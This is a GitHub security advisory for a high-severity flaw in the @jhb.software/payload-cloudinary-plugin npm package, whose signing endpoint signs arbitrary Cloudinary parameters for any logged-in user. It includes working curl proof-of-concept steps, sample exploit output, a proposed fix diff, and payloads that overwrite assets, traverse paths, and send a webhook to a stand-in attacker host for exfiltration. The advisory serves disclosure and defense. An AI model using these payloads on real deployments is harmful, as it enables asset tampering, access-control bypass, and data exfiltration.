GitHub Advisoryadvisory · npm

GHSA-h5x8-xp6m-x6q4 @jhb.software/payload-cloudinary-plugin: Arbitrary Cloudinary API Parameter Signing

HIGH Published 2026-06-19 Modified 2026-06-19 Official page ↗
Ecosystem
npm
Packages
@jhb.software/payload-cloudinary-plugin
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L
Weaknesses
CWE-347
Reviewed
2026-06-19

Affected packages

• npm @jhb.software/payload-cloudinary-plugin: >= 0.3.0, < 0.4.0 → fixed in 0.4.0

Description

Arbitrary Cloudinary API Parameter Signing in @jhb.software/payload-cloudinary-plugin Summary `@jhb.software/payload-cloudinary-plugin` v0.3.4 exposes a server-side signing endpoint (`POST /api/cloudinary-generate-signature`) that passes attacker-supplied `paramsToSign` directly to `cloudinary.utils.api_sign_request()` without any allowlist, key filtering, or policy enforcement. Any authenticated Payload user can obtain a cryptographically valid Cloudinary HMAC-SHA1 signature for arbitrary upload parameters — including `overwrite=true`, `type=private`, `notification_url`, and path-traversal folder values — enabling unauthorized asset replacement, access-control bypass, and potential SSRF within the configured Cloudinary account. Details When `clientUploads: true` is configured, the plugin registers a signing handler at `cloudinary/src/index.ts:74-79`. The handler is implemented in `cloudinary/src/getGenerateSignature.ts`. Vulnerable code path (step by step): 1. `cloudinary/src/index.ts:58` — `initClientUploads` registers the server upload handler. 2. `cloudinary/src/index.ts:68` — The Cloudinary API key is exposed to client handler props by design. 3. `cloudinary/src/index.ts:74-79` — The signing endpoint is mounted at `/cloudinary-generate-signature`. 4. `cloudinary/src/getGenerateSignature.ts:18` — The default access control checks only `!!req.user`, permitting any authenticated user. 5. `cloudinary/src/getGenerateSignature.ts:46` — The entire request body is parsed: `const body = await req.json?.()`. 6. `cloudinary/src/getGenerateSignature.ts:55` — Vulnerable sink: attacker-controlled `body.paramsToSign` is forwarded verbatim to the signing function. ```ts // cloudinary/src/getGenerateSignature.ts:46-55 const body = await req.json?.() if (!body?.paramsToSign) { return new Response(JSON.stringify({ error: 'No paramsToSign provided' }), ...) } // No allowlist, no key filtering, no folder/public_id/overwrite enforcement const signature = cloudinary.utils.api_sign_request(body.paramsToSign, apiSecret) ``` There are no mitigations in place: • No parameter key allowlist (attacker can include `overwrite`, `type`, `notification_url`, `invalidate`, etc.) • No folder/public_id policy enforcement (the plugin's `folder` option from `index.ts` is never passed to `getGenerateSignature`) • No timestamp freshness check • No restriction on path traversal sequences in `folder` or `public_id` Dynamic reproduction (Phase 2) confirmed all five attack scenarios with HTTP 200 and mathematically verified HMAC-SHA1 signatures: | Case | paramsToSign | Impact | |------|-------------|--------| | CASE-2 | `folder=attacker-controlled, overwrite=true` | Overwrite any existing asset | | CASE-3 | `type=private, public_id=admin-document` | Change asset visibility / bypass access control | | CASE-4 | `notification_url=http://attacker.example.com/exfil` | SSRF / data exfiltration via Cloudinary webhook | | CASE-5 | `folder=../../../../admin-assets, invalidate=true` | Path traversal + CDN cache invalidation | Python-independent signature recalculation matched server responses in all 5/5 cases, proving the server computes a genuine HMAC-SHA1 over attacker-controlled input. PoC Prerequisites: • `@jhb.software/[email protected]` deployed with `clientUploads: true` • An authenticated Payload session (any privilege level) • Knowledge of `CLOUDINARY_CLOUD_NAME` and the client-exposed API key (exposed by design at `index.ts:68`) Step 1 — Obtain a signature for arbitrary parameters (bash): ```bash TS=$(date +%s) SIG=$(curl -s \ -H "Authorization: Bearer " \ -H "Content-Type: application/json" \ -X POST "http://localhost:3000/api/cloudinary-generate-signature?collectionSlug=media" \ --data "{\"paramsToSign\":{\"timestamp\":\"$TS\",\"folder\":\"attacker\",\"public_id\":\"overwrite-target\",\"overwrite\":\"true\"}}" \ | jq -r .signature) echo "Obtained signature: $SIG" ``` Step 2 — Use the minted signature to upload directly to Cloudinary: ```bash curl -s -X POST "https://api.cloudinary.com/v1_1/$CLOUDINARY_CLOUD_NAME/auto/upload" \ -F "[email protected]" \ -F "api_key=$CLOUDINARY_API_KEY" \ -F "timestamp=$TS" \ -F "folder=attacker" \ -F "public_id=overwrite-target" \ -F "overwrite=true" \ -F "signature=$SIG" ``` Expected result: Cloudinary returns a successful upload JSON for `attacker/overwrite-target` — an asset path the plugin never intended to authorize. Automated PoC (Python): ```bash Build and run the reproduction container docker build -t vuln-002-cloudinary . docker run -d --name vuln-002 -p 3000:3000 vuln-002-cloudinary Run all five attack scenarios python3 poc.py --server http://127.0.0.1:3000 ``` The script (`poc.py`) posts five distinct `paramsToSign` payloads and independently verifies each returned signature using `hashlib.sha1`. All five cases return HTTP 200 with a mathematically valid signature, confirming the vulnerability. Sample output (Phase 2 evidence): ``` [SIGN] paramsToSign={"timestamp":"...","folder":"attacker-controlled","public_id":"overwrite-target","overwrite":"true"} => abc45ef5f0807bdef153074d2be3e713ea867168 (HTTP 200) [SIGN] paramsToSign={"timestamp":"...","type":"private","public_id":"admin-document"} => 0d8102a5ff48953832b76a1f21d1c513af5940e1 (HTTP 200) [SIGN] paramsToSign={"timestamp":"...","folder":"media","notification_url":"http://attacker.example.com/exfil"} => 72d954c67bd4a38d6a3931c64511f84143d24685 (HTTP 200) [SIGN] paramsToSign={"timestamp":"...","folder":"../../../../admin-assets","public_id":"../../../sensitive","invalidate":"true"} => d44984e7af8fca306e59e00810c2623d8963e011 (HTTP 200) Results: 5/5 cases confirmed — HTTP 200 + mathematically valid HMAC-SHA1 on every attacker-controlled paramsToSign ``` Recommended fix: ```diff --- a/cloudinary/src/getGenerateSignature.ts +++ b/cloudinary/src/getGenerateSignature.ts @@ type Args = { apiSecret: string + folder?: string } @@ export const getGenerateSignature = • ({ access = defaultAccess, apiSecret }: Args): PayloadHandler => + ({ access = defaultAccess, apiSecret, folder }: Args): PayloadHandler => @@ • const signature = cloudinary.utils.api_sign_request(body.paramsToSign, apiSecret) + const paramsToSign = body.paramsToSign as Record + const allowedKeys = new Set(['timestamp', 'folder', 'public_id']) + if ( + !paramsToSign || + Object.keys(paramsToSign).some((key) => !allowedKeys.has(key)) || + typeof paramsToSign.timestamp !== 'string' + ) { + throw new Forbidden() + } + if (folder && paramsToSign.folder !== folder.replace(/^\/|\/$/g, '')) { + throw new Forbidden() + } + if ( + typeof paramsToSign.public_id === 'string' && + (paramsToSign.public_id.includes('..') || paramsToSign.public_id.startsWith('/')) + ) { + throw new Forbidden() + } + const signature = cloudinary.utils.api_sign_request(paramsToSign, apiSecret) ``` Impact This is an Improper Verification of Cryptographic Signature vulnerability (CWE-347). The signing endpoint is intended to authorize legitimate client-side uploads, but because `paramsToSign` is never validated, it acts as an unrestricted signature oracle for any authenticated user. Who is impacted: All deployments of `@jhb.software/payload-cloudinary-plugin` that set `clientUploads: true`. This is a non-default but officially recommended production configuration for Vercel deployments (documented in the plugin README). Concrete attack outcomes: • Asset overwrite (`overwrite=true`): attacker replaces any existing media asset in the Cloudinary account, enabling content tampering or defacement. • Access-control bypass (`type=private`): attacker changes the delivery type of uploaded assets, potentially exposing or hiding content beyond what the application intends. • SSRF / data exfiltration (`notif…

Related

Weakness · CWE (1)

  • CWE-347 Improper Verification of Cryptographic Signature weakness

References